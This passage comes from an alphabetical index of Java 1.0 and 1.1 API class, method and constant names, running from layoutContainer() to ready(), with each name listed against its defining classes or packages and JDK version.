java.awt.Component (JDK 1.0), java.awt.Container (JDK 1.0), java.awt.ScrollPane (JDK 1.1)

layoutContainer()

java.awt.BorderLayout (JDK 1.0), java.awt.CardLayout (JDK 1.0), java.awt.FlowLayout (JDK 1.0), java.awt.GridBagLayout (JDK 1.0), java.awt.GridLayout (JDK 1.0), java.awt.LayoutManager (JDK 1.0)

layoutInfo

java.awt.GridBagLayout (JDK 1.0)

LayoutManager

The java.awt Package

LayoutManager2

The java.awt Package

leave()

java.net.DatagramSocketImpl (JDK 1.1)

leaveGroup()

java.net.MulticastSocket (JDK 1.1)

left

java.awt.Insets (JDK 1.0)

LEFT

java.awt.Event (JDK 1.0), java.awt.FlowLayout (JDK 1.0), java.awt.Label (JDK 1.0)

LEFT_ALIGNMENT

java.awt.Component (JDK 1.0)

len

java.util.zip.InflaterInputStream (JDK 1.1)

length

java.io.OptionalDataException (JDK 1.1)

length()

java.io.File (JDK 1.0), java.io.RandomAccessFile (JDK 1.0), java.lang.String (JDK 1.0), java.lang.StringBuffer (JDK 1.0)

LETTER_NUMBER

java.lang.Character (JDK 1.0)

lightGray

java.awt.Color (JDK 1.0)

LightweightPeer

The java.awt.peer Package

LINE_SEPARATOR

java.lang.Character (JDK 1.0)

lineno()

java.io.StreamTokenizer (JDK 1.0)

LineNumberInputStream

The java.io Package

LineNumberReader

The java.io Package

LinkageError

The java.lang Package

List

The java.awt Package

list()

java.awt.Component (JDK 1.0), java.awt.Container (JDK 1.0), java.io.File (JDK 1.0), java.util.Properties (JDK 1.0), java.lang.ThreadGroup (JDK 1.0)

LIST_DESELECT

java.awt.Event (JDK 1.0)

LIST_SELECT

java.awt.Event (JDK 1.0)

listen()

java.net.SocketImpl (JDK 1.0)

ListPeer

The java.awt.peer Package

ListResourceBundle

The java.util Package

LOAD

java.awt.FileDialog (JDK 1.0)

load()

java.util.Properties (JDK 1.0), java.lang.Runtime (JDK 1.0), java.lang.System (JDK 1.0)

LOAD_FILE

java.awt.Event (JDK 1.0)

loadClass()

java.lang.ClassLoader (JDK 1.0)

loadImage()

java.beans.SimpleBeanInfo (JDK 1.1)

LOADING

java.awt.MediaTracker (JDK 1.0)

loadLibrary()

java.lang.Runtime (JDK 1.0), java.lang.System (JDK 1.0)

loadSystemColors()

java.awt.Toolkit (JDK 1.0)

Locale

The java.util Package

locale

java.awt.Component (JDK 1.0)

localPort

java.net.DatagramSocketImpl (JDK 1.1)

localport

java.net.SocketImpl (JDK 1.0)

locate()

java.awt.Component (JDK 1.0), java.awt.Container (JDK 1.0)

location()

java.awt.Component (JDK 1.0), java.awt.GridBagLayout (JDK 1.0)

lock

java.io.Reader (JDK 1.1), java.io.Writer (JDK 1.1)

log()

java.lang.Math (JDK 1.0)

LONG

java.text.DateFormat (JDK 1.1)

Long

The java.lang Package

longBitsToDouble()

java.lang.Double (JDK 1.0)

longValue()

java.math.BigDecimal (JDK 1.1), java.math.BigInteger (JDK 1.1), java.lang.Byte (JDK 1.1), java.lang.Double (JDK 1.0), java.lang.Float (JDK 1.0), java.lang.Integer (JDK 1.0), java.lang.Long (JDK 1.0), java.lang.Number (JDK 1.0), java.lang.Short (JDK 1.1)

lookup()

java.io.ObjectStreamClass (JDK 1.1)

lookupConstraints()

java.awt.GridBagLayout (JDK 1.0)

loop()

java.applet.AudioClip (JDK 1.0)

LOST_FOCUS

java.awt.Event (JDK 1.0)

lostFocus()

java.awt.Component (JDK 1.0)

lostOwnership()

java.awt.datatransfer.ClipboardOwner (JDK 1.1), java.awt.datatransfer.StringSelection (JDK 1.1)

LOWERCASE_LETTER

java.lang.Character (JDK 1.0)

lowerCaseMode()

java.io.StreamTokenizer (JDK 1.0)

M

magenta

java.awt.Color (JDK 1.0)

makeVisible()

java.awt.List (JDK 1.0), java.awt.peer.ListPeer (JDK 1.0)

MalformedURLException

The java.net Package

MARCH

java.util.Calendar (JDK 1.1)

mark

java.io.ByteArrayInputStream (JDK 1.0)

mark()

java.io.BufferedInputStream (JDK 1.0), java.io.BufferedReader (JDK 1.1), java.io.ByteArrayInputStream (JDK 1.0), java.io.CharArrayReader (JDK 1.1), java.io.FilterInputStream (JDK 1.0), java.io.FilterReader (JDK 1.1), java.io.InputStream (JDK 1.0), java.io.LineNumberInputStream (JDK 1.0; Deprecated.), java.io.LineNumberReader (JDK 1.1), java.io.Reader (JDK 1.1), java.io.StringReader (JDK 1.1)

markedPos

java.io.CharArrayReader (JDK 1.1)

marklimit

java.io.BufferedInputStream (JDK 1.0)

markpos

java.io.BufferedInputStream (JDK 1.0)

markSupported()

java.io.BufferedInputStream (JDK 1.0), java.io.BufferedReader (JDK 1.1), java.io.ByteArrayInputStream (JDK 1.0), java.io.CharArrayReader (JDK 1.1), java.io.FilterInputStream (JDK 1.0), java.io.FilterReader (JDK 1.1), java.io.InputStream (JDK 1.0), java.io.PushbackInputStream (JDK 1.0), java.io.PushbackReader (JDK 1.1), java.io.Reader (JDK 1.1), java.io.StringReader (JDK 1.1)

Math

The java.lang Package

MATH_SYMBOL

java.lang.Character (JDK 1.0)

max()

java.math.BigDecimal (JDK 1.1), java.math.BigInteger (JDK 1.1), java.lang.Math (JDK 1.0)

MAX_PRIORITY

java.lang.Thread (JDK 1.0)

MAX_RADIX

java.lang.Character (JDK 1.0)

MAX_VALUE

java.lang.Byte (JDK 1.1), java.lang.Character (JDK 1.0), java.lang.Double (JDK 1.0), java.lang.Float (JDK 1.0), java.lang.Integer (JDK 1.0), java.lang.Long (JDK 1.0), java.lang.Short (JDK 1.1)

MAXGRIDSIZE

java.awt.GridBagLayout (JDK 1.0)

maximumLayoutSize()

java.awt.BorderLayout (JDK 1.0), java.awt.CardLayout (JDK 1.0), java.awt.GridBagLayout (JDK 1.0), java.awt.LayoutManager2 (JDK 1.1)

MAY

java.util.Calendar (JDK 1.1)

MediaTracker

The java.awt Package

MEDIUM

java.text.DateFormat (JDK 1.1)

Member

The java.lang.reflect Package

MemoryImageSource

The java.awt.image Package

menu

java.awt.SystemColor (JDK 1.1)

MENU

java.awt.SystemColor (JDK 1.1)

Menu

The java.awt Package

MENU_TEXT

java.awt.SystemColor (JDK 1.1)

MenuBar

The java.awt Package

MenuBarPeer

The java.awt.peer Package

MenuComponent

The java.awt Package

MenuComponentPeer

The java.awt.peer Package

MenuContainer

The java.awt Package

MenuItem

The java.awt Package

MenuItemPeer

The java.awt.peer Package

MenuPeer

The java.awt.peer Package

MenuShortcut

The java.awt Package

menuText

java.awt.SystemColor (JDK 1.1)

MessageFormat

The java.text Package

META_MASK

java.awt.event.ActionEvent (JDK 1.1), java.awt.Event (JDK 1.0), java.awt.event.InputEvent (JDK 1.1)

metaDown()

java.awt.Event (JDK 1.0)

method

java.net.HttpURLConnection (JDK 1.1)

Method

The java.lang.reflect Package

MethodDescriptor

The java.beans Package

MILLISECOND

java.util.Calendar (JDK 1.1)

MILLISECOND_FIELD

java.text.DateFormat (JDK 1.1)

min()

java.math.BigDecimal (JDK 1.1), java.math.BigInteger (JDK 1.1), java.lang.Math (JDK 1.0)

MIN_PRIORITY

java.lang.Thread (JDK 1.0)

MIN_RADIX

java.lang.Character (JDK 1.0)

MIN_VALUE

java.lang.Byte (JDK 1.1), java.lang.Character (JDK 1.0), java.lang.Double (JDK 1.0), java.lang.Float (JDK 1.0), java.lang.Integer (JDK 1.0), java.lang.Long (JDK 1.0), java.lang.Short (JDK 1.1)

minimumLayoutSize()

java.awt.BorderLayout (JDK 1.0), java.awt.CardLayout (JDK 1.0), java.awt.FlowLayout (JDK 1.0), java.awt.GridBagLayout (JDK 1.0), java.awt.GridLayout (JDK 1.0), java.awt.LayoutManager (JDK 1.0)

minimumSize()

java.awt.Component (JDK 1.0), java.awt.peer.ComponentPeer (JDK 1.0), java.awt.Container (JDK 1.0), java.awt.List (JDK 1.0), java.awt.peer.ListPeer (JDK 1.0), java.awt.TextArea (JDK 1.0), java.awt.peer.TextAreaPeer (JDK 1.0), java.awt.TextField (JDK 1.0), java.awt.peer.TextFieldPeer (JDK 1.0)

MINSIZE

java.awt.GridBagLayout (JDK 1.0)

MINUTE

java.util.Calendar (JDK 1.1)

MINUTE_FIELD

java.text.DateFormat (JDK 1.1)

MissingResourceException

The java.util Package

mkdir()

java.io.File (JDK 1.0)

mkdirs()

java.io.File (JDK 1.0)

mod()

java.math.BigInteger (JDK 1.1)

Modifier

The java.lang.reflect Package

MODIFIER_LETTER

java.lang.Character (JDK 1.0)

MODIFIER_SYMBOL

java.lang.Character (JDK 1.0)

modifiers

java.awt.Event (JDK 1.0)

modInverse()

java.math.BigInteger (JDK 1.1)

modPow()

java.math.BigInteger (JDK 1.1)

MONDAY

java.util.Calendar (JDK 1.1)

MONTH

java.util.Calendar (JDK 1.1)

MONTH_FIELD

java.text.DateFormat (JDK 1.1)

MOUSE_CLICKED

java.awt.event.MouseEvent (JDK 1.1)

MOUSE_DOWN

java.awt.Event (JDK 1.0)

MOUSE_DRAG

java.awt.Event (JDK 1.0)

MOUSE_DRAGGED

java.awt.event.MouseEvent (JDK 1.1)

MOUSE_ENTER

java.awt.Event (JDK 1.0)

MOUSE_ENTERED

java.awt.event.MouseEvent (JDK 1.1)

MOUSE_EVENT_MASK

java.awt.AWTEvent (JDK 1.1)

MOUSE_EXIT

java.awt.Event (JDK 1.0)

MOUSE_EXITED

java.awt.event.MouseEvent (JDK 1.1)

MOUSE_FIRST

java.awt.event.MouseEvent (JDK 1.1)

MOUSE_LAST

java.awt.event.MouseEvent (JDK 1.1)

MOUSE_MOTION_EVENT_MASK

java.awt.AWTEvent (JDK 1.1)

MOUSE_MOVE

java.awt.Event (JDK 1.0)

MOUSE_MOVED

java.awt.event.MouseEvent (JDK 1.1)

MOUSE_PRESSED

java.awt.event.MouseEvent (JDK 1.1)

MOUSE_RELEASED

java.awt.event.MouseEvent (JDK 1.1)

MOUSE_UP

java.awt.Event (JDK 1.0)

MouseAdapter

The java.awt.event Package

mouseClicked()

java.awt.AWTEventMulticaster (JDK 1.1), java.awt.event.MouseAdapter (JDK 1.1), java.awt.event.MouseListener (JDK 1.1)

mouseDown()

java.awt.Component (JDK 1.0)

mouseDrag()

java.awt.Component (JDK 1.0)

mouseDragged()

java.awt.AWTEventMulticaster (JDK 1.1), java.awt.event.MouseMotionAdapter (JDK 1.1), java.awt.event.MouseMotionListener (JDK 1.1)

mouseEnter()

java.awt.Component (JDK 1.0)

mouseEntered()

java.awt.AWTEventMulticaster (JDK 1.1), java.awt.event.MouseAdapter (JDK 1.1), java.awt.event.MouseListener (JDK 1.1)

MouseEvent

The java.awt.event Package

mouseExit()

java.awt.Component (JDK 1.0)

mouseExited()

java.awt.AWTEventMulticaster (JDK 1.1), java.awt.event.MouseAdapter (JDK 1.1), java.awt.event.MouseListener (JDK 1.1)

MouseListener

The java.awt.event Package

MouseMotionAdapter

The java.awt.event Package

MouseMotionListener

The java.awt.event Package

mouseMove()

java.awt.Component (JDK 1.0)

mouseMoved()

java.awt.AWTEventMulticaster (JDK 1.1), java.awt.event.MouseMotionAdapter (JDK 1.1), java.awt.event.MouseMotionListener (JDK 1.1)

mousePressed()

java.awt.AWTEventMulticaster (JDK 1.1), java.awt.event.MouseAdapter (JDK 1.1), java.awt.event.MouseListener (JDK 1.1)

mouseReleased()

java.awt.AWTEventMulticaster (JDK 1.1), java.awt.event.MouseAdapter (JDK 1.1), java.awt.event.MouseListener (JDK 1.1)

mouseUp()

java.awt.Component (JDK 1.0)

move()

java.awt.Component (JDK 1.0), java.awt.Point (JDK 1.0), java.awt.Rectangle (JDK 1.0)

MOVE_CURSOR

java.awt.Cursor (JDK 1.1), java.awt.Frame (JDK 1.0)

movePointLeft()

java.math.BigDecimal (JDK 1.1)

movePointRight()

java.math.BigDecimal (JDK 1.1)

MulticastSocket

The java.net Package

multiply()

java.math.BigDecimal (JDK 1.1), java.math.BigInteger (JDK 1.1)

N

N_RESIZE_CURSOR

java.awt.Cursor (JDK 1.1), java.awt.Frame (JDK 1.0)

name

java.awt.Font (JDK 1.0)

NaN

java.lang.Double (JDK 1.0), java.lang.Float (JDK 1.0)

NATIVE

java.lang.reflect.Modifier (JDK 1.1)

NE_RESIZE_CURSOR

java.awt.Cursor (JDK 1.1), java.awt.Frame (JDK 1.0)

needsDictionary()

java.util.zip.Inflater (JDK 1.1)

needsGui()

java.beans.Visibility (JDK 1.1)

needsInput()

java.util.zip.Deflater (JDK 1.1), java.util.zip.Inflater (JDK 1.1)

negate()

java.math.BigDecimal (JDK 1.1), java.math.BigInteger (JDK 1.1)

NEGATIVE_INFINITY

java.lang.Double (JDK 1.0), java.lang.Float (JDK 1.0)

NegativeArraySizeException

The java.lang Package

newInstance()

java.lang.reflect.Array (JDK 1.1), java.lang.Class (JDK 1.0), java.lang.reflect.Constructor (JDK 1.1)

newLine()

java.io.BufferedWriter (JDK 1.1)

newmodel

java.awt.image.RGBImageFilter (JDK 1.0)

newPixels()

java.awt.image.MemoryImageSource (JDK 1.0)

next()

java.text.BreakIterator (JDK 1.1), java.awt.CardLayout (JDK 1.0), CharacterIterator, CollationElementIterator, Random, java.text.StringCharacterIterator (JDK 1.1)

nextBytes()

java.util.Random (JDK 1.0)

nextDouble()

java.text.ChoiceFormat (JDK 1.1), java.util.Random (JDK 1.0)

nextElement()

java.util.Enumeration (JDK 1.0), java.util.StringTokenizer (JDK 1.0)

nextFloat()

java.util.Random (JDK 1.0)

nextFocus()

java.awt.Component (JDK 1.0)

nextGaussian()

java.util.Random (JDK 1.0)

nextInt()

java.util.Random (JDK 1.0)

nextLong()

java.util.Random (JDK 1.0)

nextToken()

java.io.StreamTokenizer (JDK 1.0), java.util.StringTokenizer (JDK 1.0)

NO_COMPRESSION

java.util.zip.Deflater (JDK 1.1)

NO_DECOMPOSITION

java.text.Collator (JDK 1.1)

NoClassDefFoundError

The java.lang Package

NON_SPACING_MARK

java.lang.Character (JDK 1.0)

NONE

java.awt.GridBagConstraints (JDK 1.0)

NORM_PRIORITY

java.lang.Thread (JDK 1.0)

normalizeMimeType()

java.awt.datatransfer.DataFlavor (JDK 1.1)

normalizeMimeTypeParameter()

java.awt.datatransfer.DataFlavor (JDK 1.1)

NoRouteToHostException

The java.net Package

NORTH

java.awt.BorderLayout (JDK 1.0), java.awt.GridBagConstraints (JDK 1.0)

NORTHEAST

java.awt.GridBagConstraints (JDK 1.0)

NORTHWEST

java.awt.GridBagConstraints (JDK 1.0)

NoSuchElementException

The java.util Package

NoSuchFieldError

The java.lang Package

NoSuchFieldException

The java.lang Package

NoSuchMethodError

The java.lang Package

NoSuchMethodException

The java.lang Package

not()

java.math.BigInteger (JDK 1.1)

NotActiveException

The java.io Package

notify()

java.lang.Object (JDK 1.0)

notifyAll()

java.lang.Object (JDK 1.0)

notifyObservers()

java.util.Observable (JDK 1.0)

NotSerializableException

The java.io Package

NOVEMBER

java.util.Calendar (JDK 1.1)

npoints

java.awt.Polygon (JDK 1.0)

NULLORDER

java.text.CollationElementIterator (JDK 1.1)

NullPointerException

The java.lang Package

NUM_COLORS

java.awt.SystemColor (JDK 1.1)

NUM_LOCK

java.awt.Event (JDK 1.0)

Number

The java.lang Package

NumberFormat

The java.text Package

numberFormat

java.text.DateFormat (JDK 1.1)

NumberFormatException

The java.lang Package

nval

java.io.StreamTokenizer (JDK 1.0)

NW_RESIZE_CURSOR

java.awt.Cursor (JDK 1.1), java.awt.Frame (JDK 1.0)

O

Object

The java.lang Package

ObjectInput

The java.io Package

ObjectInputStream

The java.io Package

ObjectInputValidation

The java.io Package

ObjectOutput

The java.io Package

ObjectOutputStream

The java.io Package

ObjectStreamClass

The java.io Package

ObjectStreamException

The java.io Package

Observable

The java.util Package

Observer

The java.util Package

OCTOBER

java.util.Calendar (JDK 1.1)

okToUseGui()

java.beans.Visibility (JDK 1.1)

openConnection()

java.net.URL (JDK 1.0), java.net.URLStreamHandler (JDK 1.0)

openStream()

java.net.URL (JDK 1.0)

OptionalDataException

The java.io Package

or()

java.math.BigInteger (JDK 1.1), java.util.BitSet (JDK 1.0)

orange

java.awt.Color (JDK 1.0)

ordinaryChar()

java.io.StreamTokenizer (JDK 1.0)

ordinaryChars()

java.io.StreamTokenizer (JDK 1.0)

origmodel

java.awt.image.RGBImageFilter (JDK 1.0)

OTHER_LETTER

java.lang.Character (JDK 1.0)

OTHER_NUMBER

java.lang.Character (JDK 1.0)

OTHER_PUNCTUATION

java.lang.Character (JDK 1.0)

OTHER_SYMBOL

java.lang.Character (JDK 1.0)

out

java.io.FileDescriptor (JDK 1.0), java.io.FilterOutputStream (JDK 1.0), java.io.FilterWriter (JDK 1.1), java.io.PipedInputStream (JDK 1.0), java.lang.System (JDK 1.0)

OutOfMemoryError

The java.lang Package

outpixbuf

java.awt.image.ReplicateScaleFilter (JDK 1.1)

OutputStream

The java.io Package

OutputStreamWriter

The java.io Package

owner

java.awt.datatransfer.Clipboard (JDK 1.1)

P

pack()

java.awt.Window (JDK 1.0)

PAINT

java.awt.event.PaintEvent (JDK 1.1)

paint()

java.awt.Canvas (JDK 1.0), java.awt.Component (JDK 1.0), java.awt.peer.ComponentPeer (JDK 1.0), java.awt.Container (JDK 1.0)

PAINT_FIRST

java.awt.event.PaintEvent (JDK 1.1)

PAINT_LAST

java.awt.event.PaintEvent (JDK 1.1)

paintAll()

java.awt.Component (JDK 1.0)

paintComponents()

java.awt.Container (JDK 1.0)

PaintEvent

The java.awt.event Package

paintValue()

java.beans.PropertyEditor (JDK 1.1), java.beans.PropertyEditorSupport (JDK 1.1)

Panel

The java.awt Package

PanelPeer

The java.awt.peer Package

PARAGRAPH_SEPARATOR

java.lang.Character (JDK 1.0)

ParameterDescriptor

The java.beans Package

paramString()

java.awt.event.ActionEvent (JDK 1.1), java.awt.event.AdjustmentEvent (JDK 1.1), java.awt.AWTEvent (JDK 1.1), java.awt.Button (JDK 1.0), java.awt.Checkbox (JDK 1.0), java.awt.CheckboxMenuItem (JDK 1.0), java.awt.Choice (JDK 1.0), java.awt.Component (JDK 1.0), java.awt.event.ComponentEvent (JDK 1.1), java.awt.Container (JDK 1.0), java.awt.event.ContainerEvent (JDK 1.1), java.awt.Dialog (JDK 1.0), java.awt.Event (JDK 1.0), java.awt.FileDialog (JDK 1.0), java.awt.event.FocusEvent (JDK 1.1), java.awt.Frame (JDK 1.0), java.awt.event.ItemEvent (JDK 1.1), java.awt.event.KeyEvent (JDK 1.1), java.awt.Label (JDK 1.0), java.awt.List (JDK 1.0), java.awt.Menu (JDK 1.0), java.awt.MenuComponent (JDK 1.0), java.awt.MenuItem (JDK 1.0), java.awt.MenuShortcut (JDK 1.1), java.awt.event.MouseEvent (JDK 1.1), java.awt.event.PaintEvent (JDK 1.1), java.awt.Scrollbar (JDK 1.0), ScrollPane, TextArea, java.awt.TextComponent (JDK 1.0), java.awt.event.TextEvent (JDK 1.1), java.awt.TextField (JDK 1.0), java.awt.event.WindowEvent (JDK 1.1)

parent

java.util.ResourceBundle (JDK 1.1)

parentOf()

java.lang.ThreadGroup (JDK 1.0)

parse()

java.text.ChoiceFormat (JDK 1.1), java.util.Date (JDK 1.0), java.text.DateFormat (JDK 1.1), java.text.DecimalFormat (JDK 1.1), java.text.MessageFormat (JDK 1.1), java.text.NumberFormat (JDK 1.1), java.text.SimpleDateFormat (JDK 1.1)

parseByte()

java.lang.Byte (JDK 1.1)

ParseException

The java.text Package

parseInt()

java.lang.Integer (JDK 1.0)

parseLong()

java.lang.Long (JDK 1.0)

parseNumbers()

java.io.StreamTokenizer (JDK 1.0)

parseObject()

java.text.DateFormat (JDK 1.1), java.text.Format (JDK 1.1), java.text.MessageFormat (JDK 1.1), java.text.NumberFormat (JDK 1.1)

ParsePosition

The java.text Package

parseShort()

java.lang.Short (JDK 1.1)

parseURL()

java.net.URLStreamHandler (JDK 1.0)

pathSeparator

java.io.File (JDK 1.0)

pathSeparatorChar

java.io.File (JDK 1.0)

PAUSE

java.awt.Event (JDK 1.0)

peek()

java.net.DatagramSocketImpl (JDK 1.1), java.util.Stack (JDK 1.0)

peekEvent()

java.awt.EventQueue (JDK 1.1)

PGDN

java.awt.Event (JDK 1.0)

PGUP

java.awt.Event (JDK 1.0)

PI

java.lang.Math (JDK 1.0)

pink

java.awt.Color (JDK 1.0)

PIPE_SIZE

java.io.PipedInputStream (JDK 1.0)

PipedInputStream

The java.io Package

PipedOutputStream

The java.io Package

PipedReader

The java.io Package

PipedWriter

The java.io Package

pixel_bits

java.awt.image.ColorModel (JDK 1.0)

PixelGrabber

The java.awt.image Package

PLAIN

java.awt.Font (JDK 1.0)

plainTextFlavor

java.awt.datatransfer.DataFlavor (JDK 1.1)

play()

java.applet.Applet (JDK 1.0), java.applet.AudioClip (JDK 1.0)

PM

java.util.Calendar (JDK 1.1)

Point

The java.awt Package

Polygon

The java.awt Package

pop()

java.util.Stack (JDK 1.0)

PopupMenu

The java.awt Package

PopupMenuPeer

The java.awt.peer Package

port

java.net.SocketImpl (JDK 1.0)

pos

java.io.BufferedInputStream (JDK 1.0), java.io.ByteArrayInputStream (JDK 1.0), java.io.CharArrayReader (JDK 1.1), java.io.PushbackInputStream (JDK 1.0), java.io.StringBufferInputStream (JDK 1.0; Deprecated.)

POSITIVE_INFINITY

java.lang.Double (JDK 1.0), java.lang.Float (JDK 1.0)

postEvent()

java.awt.Component (JDK 1.0), java.awt.EventQueue (JDK 1.1), java.awt.MenuComponent (JDK 1.0), java.awt.MenuContainer (JDK 1.0), java.awt.Window (JDK 1.0)

pow()

java.math.BigInteger (JDK 1.1), java.lang.Math (JDK 1.0)

PRC

java.util.Locale (JDK 1.1)

predefined

java.awt.Cursor (JDK 1.1)

preferredLayoutSize()

java.awt.BorderLayout (JDK 1.0), java.awt.CardLayout (JDK 1.0), java.awt.FlowLayout (JDK 1.0), java.awt.GridBagLayout (JDK 1.0), java.awt.GridLayout (JDK 1.0), java.awt.LayoutManager (JDK 1.0)

PREFERREDSIZE

java.awt.GridBagLayout (JDK 1.0)

preferredSize()

java.awt.Component (JDK 1.0), java.awt.peer.ComponentPeer (JDK 1.0), java.awt.Container (JDK 1.0), java.awt.List (JDK 1.0), java.awt.peer.ListPeer (JDK 1.0), java.awt.TextArea (JDK 1.0), java.awt.peer.TextAreaPeer (JDK 1.0), java.awt.TextField (JDK 1.0), java.awt.peer.TextFieldPeer (JDK 1.0)

prepareImage()

java.awt.Component (JDK 1.0), java.awt.peer.ComponentPeer (JDK 1.0), java.awt.Toolkit (JDK 1.0)

previous()

java.text.BreakIterator (JDK 1.1), java.awt.CardLayout (JDK 1.0), java.text.CharacterIterator (JDK 1.1), java.text.StringCharacterIterator (JDK 1.1)

previousDouble()

java.text.ChoiceFormat (JDK 1.1)

PRIMARY

java.text.Collator (JDK 1.1)

primaryOrder()

java.text.CollationElementIterator (JDK 1.1)

print()

java.awt.Component (JDK 1.0), java.awt.peer.ComponentPeer (JDK 1.0), java.awt.Container (JDK 1.0), java.io.PrintStream (JDK 1.0), java.io.PrintWriter (JDK 1.1)

PRINT_SCREEN

java.awt.Event (JDK 1.0)

printAll()

java.awt.Component (JDK 1.0)

printComponents()

java.awt.Container (JDK 1.0), java.awt.ScrollPane (JDK 1.1)

PrintGraphics

The java.awt Package

PrintJob

The java.awt Package

println()

java.io.PrintStream (JDK 1.0), java.io.PrintWriter (JDK 1.1)

printStackTrace()

java.lang.Throwable (JDK 1.0)

PrintStream

The java.io Package

PrintWriter

The java.io Package

PRIVATE

java.lang.reflect.Modifier (JDK 1.1)

PRIVATE_USE

java.lang.Character (JDK 1.0)

Process

The java.lang Package

processActionEvent()

java.awt.Button (JDK 1.0), java.awt.List (JDK 1.0), java.awt.MenuItem (JDK 1.0), java.awt.TextField (JDK 1.0)

processAdjustmentEvent()

java.awt.Scrollbar (JDK 1.0)

processComponentEvent()

java.awt.Component (JDK 1.0)

processContainerEvent()

java.awt.Container (JDK 1.0)

processEvent()

java.awt.Button (JDK 1.0), java.awt.Checkbox (JDK 1.0), java.awt.CheckboxMenuItem (JDK 1.0), java.awt.Choice (JDK 1.0), java.awt.Component (JDK 1.0), java.awt.Container (JDK 1.0), java.awt.List (JDK 1.0), java.awt.MenuComponent (JDK 1.0), java.awt.MenuItem (JDK 1.0), java.awt.Scrollbar (JDK 1.0), java.awt.TextComponent (JDK 1.0), java.awt.TextField (JDK 1.0), java.awt.Window (JDK 1.0)

processFocusEvent()

java.awt.Component (JDK 1.0)

processItemEvent()

java.awt.Checkbox (JDK 1.0), java.awt.CheckboxMenuItem (JDK 1.0), java.awt.Choice (JDK 1.0), java.awt.List (JDK 1.0)

processKeyEvent()

java.awt.Component (JDK 1.0)

processMouseEvent()

java.awt.Component (JDK 1.0)

processMouseMotionEvent()

java.awt.Component (JDK 1.0)

processTextEvent()

java.awt.TextComponent (JDK 1.0)

processWindowEvent()

java.awt.Window (JDK 1.0)

Properties

The java.util Package

PROPERTIES

java.awt.image.ImageObserver (JDK 1.0)

propertyChange()

java.beans.PropertyChangeListener (JDK 1.1)

PropertyChangeEvent

The java.beans Package

PropertyChangeListener

The java.beans Package

PropertyChangeSupport

The java.beans Package

PropertyDescriptor

The java.beans Package

PropertyEditor

The java.beans Package

PropertyEditorManager

The java.beans Package

PropertyEditorSupport

The java.beans Package

propertyNames()

java.util.Properties (JDK 1.0)

PropertyResourceBundle

The java.util Package

PropertyVetoException

The java.beans Package

PROTECTED

java.lang.reflect.Modifier (JDK 1.1)

ProtocolException

The java.net Package

PUBLIC

java.lang.reflect.Member (JDK 1.1), java.lang.reflect.Modifier (JDK 1.1)

push()

java.util.Stack (JDK 1.0)

pushBack()

java.io.StreamTokenizer (JDK 1.0)

PushbackInputStream

The java.io Package

PushbackReader

The java.io Package

put()

java.util.Dictionary (JDK 1.0), java.util.Hashtable (JDK 1.0)

putNextEntry()

java.util.zip.ZipOutputStream (JDK 1.1)

Q

quoteChar()

java.io.StreamTokenizer (JDK 1.0)

R

Random

The java.util Package

random()

java.lang.Math (JDK 1.0)

RandomAccessFile

The java.io Package

RANDOMPIXELORDER

java.awt.image.ImageConsumer (JDK 1.0)

read()

java.io.BufferedInputStream (JDK 1.0), java.io.BufferedReader (JDK 1.1), java.io.ByteArrayInputStream (JDK 1.0), java.io.CharArrayReader (JDK 1.1), java.util.zip.CheckedInputStream (JDK 1.1), java.io.DataInputStream (JDK 1.0), java.io.FileInputStream (JDK 1.0), java.io.FilterInputStream (JDK 1.0), java.io.FilterReader (JDK 1.1), java.util.zip.GZIPInputStream (JDK 1.1), java.util.zip.InflaterInputStream (JDK 1.1), java.io.InputStream (JDK 1.0), java.io.InputStreamReader (JDK 1.1), java.io.LineNumberInputStream (JDK 1.0; Deprecated.), java.io.LineNumberReader (JDK 1.1), java.io.ObjectInput (JDK 1.1), java.io.ObjectInputStream (JDK 1.1), java.io.PipedInputStream (JDK 1.0), java.io.PipedReader (JDK 1.1), java.io.PushbackInputStream (JDK 1.0), java.io.PushbackReader (JDK 1.1), java.io.RandomAccessFile (JDK 1.0), java.io.Reader (JDK 1.1), java.io.SequenceInputStream (JDK 1.0), java.io.StringBufferInputStream (JDK 1.0; Deprecated.), java.io.StringReader (JDK 1.1), java.util.zip.ZipInputStream (JDK 1.1)

readBoolean()

java.io.DataInput (JDK 1.0), java.io.DataInputStream (JDK 1.0), java.io.ObjectInputStream (JDK 1.1), java.io.RandomAccessFile (JDK 1.0)

readByte()

java.io.DataInput (JDK 1.0), java.io.DataInputStream (JDK 1.0), java.io.ObjectInputStream (JDK 1.1), java.io.RandomAccessFile (JDK 1.0)

readChar()

java.io.DataInput (JDK 1.0), java.io.DataInputStream (JDK 1.0), java.io.ObjectInputStream (JDK 1.1), java.io.RandomAccessFile (JDK 1.0)

readDouble()

java.io.DataInput (JDK 1.0), java.io.DataInputStream (JDK 1.0), java.io.ObjectInputStream (JDK 1.1), java.io.RandomAccessFile (JDK 1.0)

Reader

The java.io Package

readExternal()

java.io.Externalizable (JDK 1.1)

readFloat()

java.io.DataInput (JDK 1.0), java.io.DataInputStream (JDK 1.0), java.io.ObjectInputStream (JDK 1.1), java.io.RandomAccessFile (JDK 1.0)

readFully()

java.io.DataInput (JDK 1.0), java.io.DataInputStream (JDK 1.0), java.io.ObjectInputStream (JDK 1.1), java.io.RandomAccessFile (JDK 1.0)

readInt()

java.io.DataInput (JDK 1.0), java.io.DataInputStream (JDK 1.0), java.io.ObjectInputStream (JDK 1.1), java.io.RandomAccessFile (JDK 1.0)

readLine()

java.io.BufferedReader (JDK 1.1), java.io.DataInput (JDK 1.0), java.io.DataInputStream (JDK 1.0), java.io.LineNumberReader (JDK 1.1), java.io.ObjectInputStream (JDK 1.1), java.io.RandomAccessFile (JDK 1.0)

readLong()

java.io.DataInput (JDK 1.0), java.io.DataInputStream (JDK 1.0), java.io.ObjectInputStream (JDK 1.1), java.io.RandomAccessFile (JDK 1.0)

readObject()

java.io.ObjectInput (JDK 1.1), java.io.ObjectInputStream (JDK 1.1)

readShort()

java.io.DataInput (JDK 1.0), java.io.DataInputStream (JDK 1.0), java.io.ObjectInputStream (JDK 1.1), java.io.RandomAccessFile (JDK 1.0)

readStreamHeader()

java.io.ObjectInputStream (JDK 1.1)

readUnsignedByte()

java.io.DataInput (JDK 1.0), java.io.DataInputStream (JDK 1.0), java.io.ObjectInputStream (JDK 1.1), java.io.RandomAccessFile (JDK 1.0)

readUnsignedShort()

java.io.DataInput (JDK 1.0), java.io.DataInputStream (JDK 1.0), java.io.ObjectInputStream (JDK 1.1), java.io.RandomAccessFile (JDK 1.0)

readUTF()

java.io.DataInput (JDK 1.0), java.io.DataInputStream (JDK 1.0), java.io.ObjectInputStream (JDK 1.1), java.io.RandomAccessFile (JDK 1.0)

ready()

